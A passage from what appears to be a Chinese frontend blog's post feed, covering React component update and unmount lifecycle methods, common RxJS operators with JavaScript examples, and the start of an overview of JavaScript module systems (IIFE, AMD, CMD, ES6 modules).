title="(三)更新 Update"></a>(三)更新 Update</h3><p>这个阶段在 react 组件已经处于浏览器中并开始响应和接受新值进行更新的时候。</p><p>组件有两种被更新的方式,发送新的 <code>props</code> 和更新 <code>state</code>。</p><p>让我们看看在调用<code>setState</code> 更新当前 <code>state</code>时会触发哪些钩子函数:</p><ul><li><p><strong>shouldComponentUpdate</strong> 告诉 <code>React</code> 当组件接受到新的 <code>props</code> 或者 <code>state</code> 被更新时,<code>React</code> 是应该重新渲染组件或者跳过渲染 ?</p><p>此函数提出了一个问题, <strong>组件应该被更新吗</strong>?</p><p>因此此函数应该返回一个布尔值<code>true</code>或者<code>false</code>,来指明组件应该被重新渲染还是跳过。</p><p>默认的,此生命周期函数返回 <code>true</code>。</p><p><strong><em>示例:</em></strong> 下面是一个只有当 <code>props</code>的 <code>status</code>属性变化时才重新渲染组件的小例子:</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">shouldComponentUpdate(nextProps, nextState) {</span><br><span class="line"> <span class="keyword">let</span> shouldUpdate = <span class="keyword">this</span>.props.status !== nextProps.status;</span><br><span class="line"> <span class="keyword">return</span> shouldUpdate;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这个方法通常用于当渲染函数 <code>render</code> 是一个很重的方法时,你需要在某些时刻它不被自动调用。</p><p>举个例子,比如在组件的一次渲染中,会生成上千个素数,我们就可以通过这个方法,来控制只在我们需要时进行组件的 <strong>render</strong>。</p></li><li><p><strong>componentWillUpdate</strong> 在 <code>shouldComponentUpdate</code> 返回 <code>true</code> 时被调用。此方法仅用来为即将进行的 <code>render</code> 做准备,类似于 <code>componentWillMount</code> 或者 <code>constructor</code>。</p><p>如果在渲染某些项目和数据之前,需要进行一些运算,这个函数中是做这些的合适位置。</p></li><li><p><strong>render</strong> 组件被渲染</p></li><li><p><strong>componentDidUpdate</strong> 在更新后的组件被渲染到 <code>DOM</code> 之后调用。</p><p>这个函数通常用于确定和触发第三方库的更新和重载。</p></li></ul><p><strong>下面这个列表,是当父组件传入了新的 <code>props</code> 时子组件中将会被调用的生命周期函数:</strong></p><ul><li><p><strong>componentWillReceiveProps</strong> 当<code>props</code> 已经改变同时不是首次 <code>render</code> 时被调用。</p></li><li><p>在某些时候 <code>state</code> 依赖于 <code>props</code>,因此当 <code>porps</code> 改变时,<code>state</code> 也应该被同步改变。这个方法就是同步 <code>props</code> 到 <code>state</code> 逻辑的位置。</p><p><code>state</code>不存在类似的方法,因为 <code>props</code>只在组件内部可读,永远不会依赖于组件的 <code>state</code>。</p></li></ul><p><strong><em>示例:</em></strong> 下面是一个当 <code>props</code> 变化时 <code>state</code> 保持同步的例子:</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">componentWillReceiveProps(nextProps) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.props.status !== nextProps.status) {</span><br><span class="line"> <span class="keyword">this</span>.setState({</span><br><span class="line"> status: nextProps.status</span><br><span class="line"> });</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>随后的生命周期钩子调用,和我们在上面提到当<code>setState</code>时的生命周期函数调用完全一致:</p><ul><li><code>shouldComponentUpdate</code></li><li><code>componentWillUpdate</code></li><li><code>render</code></li><li><code>componentDidUpdate</code></li></ul><h3 id="四-销毁-Unmounting"><a href="#四-销毁-Unmounting" class="headerlink" title="(四)销毁 Unmounting"></a>(四)销毁 Unmounting</h3><p>在这个阶段,组件不再被需要,即将在 <code>DOM</code> 中被销毁。在此阶段以下方法将会被调用:</p><ul><li><p><strong>componentWillUnmount</strong> 此函数是生命周期函数的最后一个。</p><p>它在组件即将被从 <code>DOM</code> 中移除前被调用.</p><p><strong><em>示例:</em></strong> 在这个函数中,我们可以进行在组件被销毁之前执行相应的清理工作。例如退出登录,清除用户数据和认证<code>token</code>等。</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">componentWillUnmount() {</span><br><span class="line"> <span class="keyword">this</span>.chart.destroy();</span><br><span class="line"> <span class="keyword">this</span>.resetLocalStorage();</span><br><span class="line"> <span class="keyword">this</span>.clearSession();</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li></ul><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
<category> React </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> React </tag>
</tags>
</entry>
<entry>
<title>RxJs系列(四):常用操作符</title>
<link href="/2019/01/27/rxjs-4-in_common_operator/"/>
<url>/2019/01/27/rxjs-4-in_common_operator/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>话说人一旦懒起来还真是容易刹不住车啊,又是差不多有一个月没有写博客了。</p><p>今天来接着说一说<code>RxJs</code> ,话说上一篇博客介绍了一些常见的<code>Observable</code>创建操作符,那这篇博客就来说一说用于对<code>Observable</code>进行操作的一些操作符。</p><p>这类操作符数量不少,而且作用各式各样,有相当一部分操作符很难通过单纯的文字介绍透彻的说明它们的作用。不过还好,根据28原则来说,相当一部分技术概念我们在实际开发中不是那么常遇见。这篇博客,就介绍一些比较常用,而且理解了这些操作符可以帮助我们快速的上手使用<code>RxJs</code>,最终可以使用操作符高效的实现异步流程控制。</p><p>在关于<code>RxJs</code>的文章里我曾经看到过一句话,当你遇到一个<code>RxJS</code>无法模拟的异步流程时,你首先要反思一下自己是不是真的掌握了<code>RxJs</code>,这句话有些高调,但我觉得不是说谎。</p><p>Ok,进入正文。</p></blockquote><a id="more"></a><p>在前几篇博客中,我们提到了<code>Rxjs</code>的通过与函数式编程类似的操作符可以较好的抽象我们的常规逻辑操作,使我们方便的处理异步逻辑。</p><p>对于<code>RxJs</code>的学习来说,操作符是比较重要的一部分,也是比较具有难度的一部分,主要有以下几点原因:</p><ul><li>操作符数量比较多</li><li>部分操作符比较抽象,难以直观的去理解</li><li>大部分操作符应用于复杂的异步逻辑操作,也很难通过简单的<code>demo</code>体现作用</li></ul><p>也因为这些原因,关于<code>RxJs</code>的教程中,很少有能清楚明白使新手能快速掌握的操作符介绍。我这篇博客估计也很难完整清楚的讲清楚操作符的细节。</p><p>但只要理解了操作符的大概模式和作用,用的到的时候再去查阅,如此反复几次,也就能够形成一个<code>RxJs</code>的思维图谱了。</p><p>操作符,通常的模式即接受一个<code>Observable</code>,然后通过组合,过滤,合并,缓存等操作,来生成一个新的<code>Observable</code>流。</p><p>首先,来介绍几个比较简单和容易理解的操作符。</p><p>对于函数式编程来说,非常常见的三个函数<code>map</code>, <code>filter</code>,<code>reduce</code>,在<code>RxJs</code>也有三个对应的操作符,<code>map</code>,<code>filter</code>,<code>scan</code>。</p><h3 id="map"><a href="#map" class="headerlink" title="map"></a>map</h3><p><code>map</code>操作符接受一个函数,<code>Observable</code>的每个值都会作为参数传入这个函数,并根据函数的返回值形成一个新的<code>Observable</code>。</p><p>这个操作符比较容易理解,与大部分编程语言中的<code>map</code>作用类似。</p><figure class="highlight javascript"><figcaption><span>javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> source$ = interval(<span class="number">1000</span>)</span><br><span class="line"></span><br><span class="line">source$.pipe(</span><br><span class="line"> map (<span class="function"><span class="params">val</span> =></span> val * val)</span><br><span class="line">).subscribe(<span class="built_in">console</span>.log)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 0</span></span><br><span class="line"><span class="comment">// 1</span></span><br><span class="line"><span class="comment">// 4</span></span><br><span class="line"><span class="comment">// 9</span></span><br><span class="line"><span class="comment">// ....</span></span><br></pre></td></tr></table></figure><p>如上所示,源<code>Observable</code>每隔一秒发出一个递增<code>1</code>的值,<code>map</code>操作符将这个值平方作为新的<code>Observable</code>的值发出。</p><h3 id="filter"><a href="#filter" class="headerlink" title="filter"></a>filter</h3><p>不需要多说,这个操作符也和大部分编程语言中的<code>filter</code>类似。</p><figure class="highlight javascript"><figcaption><span>javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> source$ = interval(<span class="number">1000</span>)</span><br><span class="line"></span><br><span class="line">interval.pipe(</span><br><span class="line"> filter (<span class="function"><span class="params">val</span> =></span> val % <span class="number">2</span>)</span><br><span class="line">).subscribe(<span class="built_in">console</span>.log)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 1</span></span><br><span class="line"><span class="comment">// 3</span></span><br><span class="line"><span class="comment">// 5</span></span><br><span class="line"><span class="comment">// 7</span></span><br><span class="line"><span class="comment">// ....</span></span><br></pre></td></tr></table></figure><h3 id="reduce"><a href="#reduce" class="headerlink" title="reduce"></a>reduce</h3><p><code>reduce</code>操作符类似<code>Js</code>和<code>Python</code>中的<code>reduce</code>,接受一个函数和一个<code>seed</code>,对<code>Observable</code>的值进行累计处理, 并在<code>Observable</code>完成时返回计算结果。</p><figure class="highlight javascript"><figcaption><span>javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> source$ = range(<span class="number">100</span>)</span><br><span class="line"></span><br><span class="line">source$.pipe(</span><br><span class="line"> map(<span class="function"><span class="params">e</span> =></span> <span class="number">1</span>)</span><br><span class="line"> reduce(<span class="function">(<span class="params">acc, val</span>) =></span> {</span><br><span class="line"> acc + val</span><br><span class="line"> }, <span class="number">0</span>)</span><br><span class="line">).subscribe(<span class="built_in">console</span>.log)</span><br></pre></td></tr></table></figure><h3 id="scan"><a href="#scan" class="headerlink" title="scan"></a>scan</h3><p><code>scan</code>与<code>reduce</code>操作符类似,都是用来计算累加值的,不同点在于,<code>reduce</code>会在<code>Observable</code>完成时才返回总计结果,而 <code>scan</code>每计算一次就会返回一次结果。</p><figure class="highlight javascript"><figcaption><span>javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> btnDom = <span class="built_in">document</span>.querySelector(<span class="string">'.btn'</span>)</span><br><span class="line"><span class="keyword">const</span> source$ = fromEvent(btnDom, <span class="string">'click'</span>)</span><br><span class="line"></span><br><span class="line">source$.pipe(</span><br><span class="line"> map(<span class="function"><span class="params">e</span> =></span> <span class="number">1</span>)</span><br><span class="line"> reduce(<span class="function">(<span class="params">acc, val</span>) =></span> {</span><br><span class="line"> acc + val</span><br><span class="line"> }, <span class="number">0</span>)</span><br><span class="line">).subscribe(<span class="built_in">console</span>.log)</span><br></pre></td></tr></table></figure><p>在上面这个例子中,我们单纯通过<code>Observable</code>流,而不用借助任何外部变量,就记录了按钮的点击次数。这也体现了<code>RxJs</code>的优势: 可以通过异步流来记录状态。</p><p>上面是四个比较简单的操作符,在日常使用中,我们比较常使请求也参与到异步流程中,还会用到另一个操作符:<code>switchMap</code>。</p><h3 id="switchMap"><a href="#switchMap" class="headerlink" title="switchMap"></a>switchMap</h3><p><code>switchMap</code>操作符,用于将<code>Observable</code>的每一个值映射为另一个<code>Observable</code>流,并始终返回这些映射流中最新的一个。</p><p>我们使用一个例子来说明:</p><figure class="highlight javascript"><figcaption><span>javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> btnDom = <span class="built_in">document</span>.querySelector(<span class="string">'#btn'</span>)</span><br><span class="line"><span class="keyword">const</span> source$ = fromEvent(btnDom, <span class="string">'click'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> <span class="function"><span class="keyword">function</span> <span class="title">getData</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">return</span> fetch(<span class="string">'https://jsonplaceholder.typicode.com/posts/1'</span>)</span><br><span class="line"> .then(<span class="function"><span class="params">res</span> =></span> res.json())</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">source$.pipe(</span><br><span class="line"> switchMap(</span><br><span class="line"> e => fromPromise(getData())</span><br><span class="line"> )</span><br><span class="line">).subscribe(<span class="built_in">console</span>.log)</span><br></pre></td></tr></table></figure><p>我们每次点击按钮,都会触发一个请求,通过<code>switchMap</code>操作符, 我们只会接受到最新的请求返回的值,旧请求会被丢弃。</p><p>与<code>switchMap</code>类似,还有两个操作符<code>concatMap</code>和<code>mergeMap</code>, 一个可以将所有请求串行起来,一个可以将所有请求并行起来,这三个操作符,在我们通过<code>UI</code>操作触发各式各样的请求时非常有用。</p><h3 id="debounceTime"><a href="#debounceTime" class="headerlink" title="debounceTime"></a>debounceTime</h3><p><code>debounceTime</code>操作符用于进行防抖处理,也是我们处理事件或其他异步操作时比较常用的操作符。</p><p>例如上面的点击按钮请求的例子中,我们想在点击按钮一秒后未再次点击时才发出请求,就可以加上这个操作符</p><figure class="highlight javascript"><figcaption><span>javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">source$.pipe(</span><br><span class="line"> debounceTime(<span class="number">1000</span>),</span><br><span class="line"> switchMap(</span><br><span class="line"> e => fromPromise(getData())</span><br><span class="line"> )</span><br><span class="line">).subscribe(<span class="built_in">console</span>.log)</span><br></pre></td></tr></table></figure><p>对应防抖操作符,还有一个节流操作符<code>throttleTime</code>,节流操作符主要用于我们点击之后的一段时间,不再触发。</p><p><code>debounce</code>和<code>throttle</code>在我们处理<code>UI</code>事件和请求操作时,都非常有用。</p><h3 id="retry"><a href="#retry" class="headerlink" title="retry"></a>retry</h3><p>在网络请求中,我们还需要处理异常情况,对于某些异常,我们可能想要进行重试,此时就可以使用<code>retry</code>操作符。</p><p>还是上面的例子,当请求出现错误时,我们重试三次,如果还是错误,就抛出错误:</p><figure class="highlight javascript"><figcaption><span>javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">source$.pipe(</span><br><span class="line"> debounceTime(<span class="number">1000</span>),</span><br><span class="line"> switchMap(</span><br><span class="line"> e => fromPromise(getData())</span><br><span class="line"> ),</span><br><span class="line"> retry(<span class="number">3</span>)</span><br><span class="line">).subscribe(<span class="built_in">console</span>.log)</span><br></pre></td></tr></table></figure><p><code>retry</code>操作符会在<code>Observable</code>发生错误时捕获错误,并重试源<code>Observable</code>指定次数。</p><p>关于常用的几个操作符,就先介绍这么几个。</p><p>还有相当多各式各样的操作符,在学习<code>RxJs</code>的过程中,或多或少会见到它们,在遇见的时候去翻阅一下文档或源码,查一下资料,还是不难理解的。</p><p>为了更直观更清晰的理解各种操作符的作用,同时也能够使大家了解<code>RxJs</code>的实际应用,我创建了一个项目 <a href="https://github.com/Gyufei/powerful-rxjs" target="_blank" rel="noopener">powerful-rxjs</a>。想体验<code>rxjs</code>的同学,可以对照查看,对于<code>rxjs</code>的初步理解会有很大帮助。我也会在后续不断添加新的<code>demo</code>进去。</p><p>Ok,本篇博客就到这里,多谢阅读。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> RxJs </tag>
</tags>
</entry>
<entry>
<title>前端模块概述</title>
<link href="/2018/12/01/module&tree_sharking/"/>
<url>/2018/12/01/module&tree_sharking/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>前端的模块化方案经历了相当久的发展,如今已经具有了相当的复杂度,甚至到了有些混乱的程度。各方的不同形式,不同实现的模块化方案在开发中都时不时出现,给很多前端开发人员带来了很多不愉快的心智负担。</p><p>今天这篇博客,就来谈一谈前端的模块化方案的发展历程。</p></blockquote><a id="more"></a><p>模块,即用于实现特定功能的相互独立的一组方法。 通过模块来组织代码,构建工程,已经是现代软件工程中的基本常识和工序。</p><p>在如今的计算机技术语境下,如果一门编程语言没有模块系统,简直是不可想象的事情。但很不幸,<code>JavaScript</code>在相当长的时间里,都并没有自己的模块系统。</p><p>这有两个原因,一是<code>JS</code>初衷只是被设计用作制作简单的网页脚本,并没有被期待拥有如此大的文件规模,所以自然不需要模块系统。二是网页中的<code>JS</code>文件是需要通过网络请求进行加载的,不能像其他编程语言那样简单的同步的去访问其他文件,所以如果有模块系统,必须保证其具有更高的伸缩和适应性。因此一直到<code>ES6</code>之后,<code>JS</code>才正式推出模块化方案。</p><h2 id="发展历程"><a href="#发展历程" class="headerlink" title="发展历程"></a>发展历程</h2><h3 id="函数式"><a href="#函数式" class="headerlink" title="函数式"></a>函数式</h3><p>在早期的<code>JS</code>中,创建模块,都是采用最直接的方法–将函数划分到多个文件然后分别引入。<br>如下所示:<br></p><figure class="highlight javascript"><figcaption><span>Javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// a.js</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">a1</span> (<span class="params"></span>) </span>{</span><br><span class="line"> ....</span><br><span class="line">}</span><br><span class="line">fucntion a2 () {</span><br><span class="line"> ....</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// b.js</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">b</span>(<span class="params"></span>) </span>{</span><br><span class="line"> ....</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p></p><p>但这种方式存在以下缺点:</p><ol><li>污染全局变量,模块中声明的函数和变量都是全局的。</li><li>当然,这样也无法防止与其它模块的变量名冲突。</li><li>也无法直观分析模块的依赖关系</li></ol><h3 id="对象式"><a href="#对象式" class="headerlink" title="对象式"></a>对象式</h3><p>因此,进一步的解决方法是将模块作为一个对象导出,模块的函数和状态作为对象的成员。<br>如下:<br></p><figure class="highlight javascript"><figcaption><span>Javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> A = {</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">a1</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">a2</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="comment">//....</span></span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> countNumbe: <span class="number">0</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p></p><p>这种方式也存在缺点:</p><ol><li>因为<code>JS</code>里对象是没有私有属性的,因此这种方式暴露了所有的模块成员</li><li>因为暴露了所有成员,导致内部状态会被修改,会导致模块使用时难以维护。</li></ol><h3 id="闭包"><a href="#闭包" class="headerlink" title="闭包"></a>闭包</h3><p>再进一步的方法,是将对象创建放在一个<strong>立即执行函数 IIFE</strong>中并返回。<br></p><figure class="highlight javascript"><figcaption><span>Javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> A = (<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="comment">// 模块的私有属性</span></span><br><span class="line"> <span class="keyword">var</span> countNumber = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">var</span> a1 = <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line"> };</span><br><span class="line"></span><br><span class="line"> <span class="keyword">var</span> a2 = <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line"> };</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> {</span><br><span class="line"> a1 : a1,</span><br><span class="line"> a2 : a2</span><br><span class="line"> };</span><br><span class="line"></span><br><span class="line"> })();</span><br></pre></td></tr></table></figure><p></p><p>通过这种闭包的方式,可以将模块的私有属性封装起来,相当于模块具有了自己的内部状态,可以提高模块的独立性,避免模块内部状态在外部被修改。<br>同时,如果模块还需要依赖其他模块或者全局变量,可以将它们作为参数传入函数中,实现模块的继承和依赖。<br></p><figure class="highlight javascript"><figcaption><span>Javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> A = (<span class="function"><span class="keyword">function</span> (<span class="params">B, C</span>) </span>{</span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line"> })(B, C);</span><br></pre></td></tr></table></figure><p></p><p>这种方式,终于有一点正式的模块系统的样子了。<br>这种构建模块的方式,既然使用了闭包,那么闭包常见的问题,自然也是无法避免的了:</p><ol><li>闭包将函数变量保存在内存里,内存消耗会相当大。</li><li>闭包使你可以在外部通过暴露的方法修改父函数的值,仍然存在维护困难的问题。</li></ol><p>前端在<code>Es6</code>模块标准推出之前,存在两种社区的模块规范<code>AMD</code>和<code>CMD</code>,在基础上都是通过上面这种闭包的形式来实现的,但在具体实现方式和模块加载时机上有一些不同。</p><h2 id="AMD规范"><a href="#AMD规范" class="headerlink" title="AMD规范"></a><strong>AMD规范</strong></h2><p><em>AMD规范</em> (<strong>Asynchronous Module Definition</strong>),中文<strong>异步模块定义</strong>。<br>这种规范采用的是异步加载模式。应用于客户端环境并且兼容服务端模块。</p><p><em>AMD规范</em> 使用<code>define</code>方法定义模块。<br>第一个参数表示模块名,可选,默认使用脚本文件名。<br>第二个参数表示此模块依赖的模块数组。<br>第三个参数为依赖的模块加载完毕后执行的回调函数,加载的模块会以参数形式传入该函数。</p><figure class="highlight javascript"><figcaption><span>Javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// moduleA</span></span><br><span class="line"></span><br><span class="line">define([<span class="string">'package/lib'</span>], <span class="function"><span class="keyword">function</span>(<span class="params">lib</span>) </span>{ </span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">say</span>(<span class="params"></span>) </span>{ </span><br><span class="line">lib.log(<span class="string">"hello world"</span>) </span><br><span class="line">} </span><br><span class="line"><span class="keyword">return</span> { <span class="attr">say</span>: say }</span><br><span class="line">})</span><br></pre></td></tr></table></figure><p><em>AMD规范</em> 也使用<code>require</code>方法来加载模块,它接受两个参数。<br>第一个参数是要加载的模块(若模块无依赖,可省略)。<br>第二个参数是加载成功的回调函数。</p><figure class="highlight javascript"><figcaption><span>Javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// test.js</span></span><br><span class="line"><span class="built_in">require</span>([<span class="string">'./moduleA'</span>], functon(moduleA){ </span><br><span class="line">moduleA.say()</span><br><span class="line">})</span><br></pre></td></tr></table></figure><p>目前主要有两个<code>JS</code>库实现了 <em>AMD规范</em>, 分别是<code>require.js</code>和<code>curl.js</code>。</p><h2 id="CMD规范"><a href="#CMD规范" class="headerlink" title="CMD规范"></a><strong>CMD规范</strong></h2><p><em>CMD 规范</em>(<strong>Common Module Definition</strong>),中文<strong>通用模块定义</strong>,是国内发展出来的。</p><p>与<code>AMD</code>类似,不过在模块定义方式和模块加载,运行,解析时机上有所不同。</p><p>实现了<em>CMD 规范</em> 的<code>JavaScript</code>类库是 <code>Sea.js</code>, <code>CMD</code>规范也是它主推的。</p><figure class="highlight javascript"><figcaption><span>Javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 定义模块</span></span><br><span class="line"><span class="comment">// moduleA.js</span></span><br><span class="line">define(fucntion(<span class="built_in">require</span>, exports, <span class="built_in">module</span>)) { </span><br><span class="line"><span class="keyword">var</span> $ = <span class="built_in">require</span>(<span class="string">'jquery.js'</span>) </span><br><span class="line">$(<span class="string">'p'</span>).text(<span class="string">'loaded'</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// 加载模块</span></span><br><span class="line">seajs.use([<span class="string">'moduleA.js'</span>], <span class="function"><span class="keyword">function</span>(<span class="params">m</span>)</span>{ ...})</span><br></pre></td></tr></table></figure><h2 id="AMD-和-CMD-的区别"><a href="#AMD-和-CMD-的区别" class="headerlink" title="AMD 和 CMD 的区别"></a><em>AMD 和 CMD 的区别</em></h2><p><strong>最明显的区别</strong>是对依赖的处理时机不同</p><ol><li><p><em>AMD</em> 推崇依赖前置,在定义模块时在文件顶部就就声明依赖的模块</p></li><li><p><em>CMD</em> 推崇就近依赖,在用到模块时再去<code>require</code></p></li></ol><p>当然,这两种规范都兼容对方的写法。</p><p><strong>最大的区别</strong>是模块的执行时机不同。</p><p><em>AMD</em> 是<strong>依赖前置,提前执行</strong>。</p><p>因为它将模块的依赖全放在文件顶部,它在加载一个模块之后就可以立即知道模块的依赖,并<strong>加载和执行所有依赖模块</strong>。</p><p>也因此依赖模块的加载执行不一定按照书写顺序,而是根据哪个模块先下载完毕。但回调函数一定是在所有依赖模块都加载执行完毕之后才运行的,这也使得AMD的用户体验较好,没有延迟。</p><p><em>CMD</em> 是<strong>依赖就近,按需执行</strong>。</p><p>它的依赖是在文件中的,因此需要把模块变为字符串解析一遍,才能知道模块的依赖,然后下载所有依赖的模块。<br>但需要注意,模块在下载完毕之后,<strong>并不执行</strong> ,而是在所有模块下载完毕之后就执行回调函数,在遇到对应依赖模块的<code>require</code>语句时才执行模块。因此 <em>CMD</em> 的性能较好,因为只在用户需要的时候才执行,不会存在加载和执行无用的模块。</p><p>从上面可以看出,社区的模块方案中,模块被导出成一个对象或者函数,因此,模块依赖的确定,引入,执行,都是在运行时确定的,这种方式,好处是比较自由,可以动态的加载和使用模块。但是坏处就是,无法通过代码的静态分析,来确定模块的依赖,输入和输出的变量,因此也自然的无法在模块系统上添加静态类型检查,静态优化等等。</p><p>但值得开心,<code>ES6 Module</code>就是通过静态分析,在<code>JS</code>的编译时实现了模块方案。</p><h2 id="ES6-Module"><a href="#ES6-Module" class="headerlink" title="ES6 Module"></a><strong>ES6 Module</strong></h2><p><em>ES6 模块</em> 设计的思想是静态化,在语言层面上实现了在编译时即确定依赖关系(其它的规范都只能在运行时确定),具体的,<code>ES6 Module</code>指定的不是模块导出的对象或者函数,而是指定模块导出的代码,这也使得它可以实现编译时加载和静态优化。虽然没有那么灵活,但模块和运行时无关这一特性带来的优势完全可以无视这个代价。</p><p><em>ES6 module</em> 自动使用严格模式。</p><p>最需要注意的是严格模式顶层的<code>this</code>执行<code>undefined</code>。</p><p><em>ES6</em> 使用 <code>export</code>导出接口,使用<code>import</code>导入。两者都必须处于模块顶层,否则会报错。</p><p><strong>export</strong></p><figure class="highlight javascript"><figcaption><span>Javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span 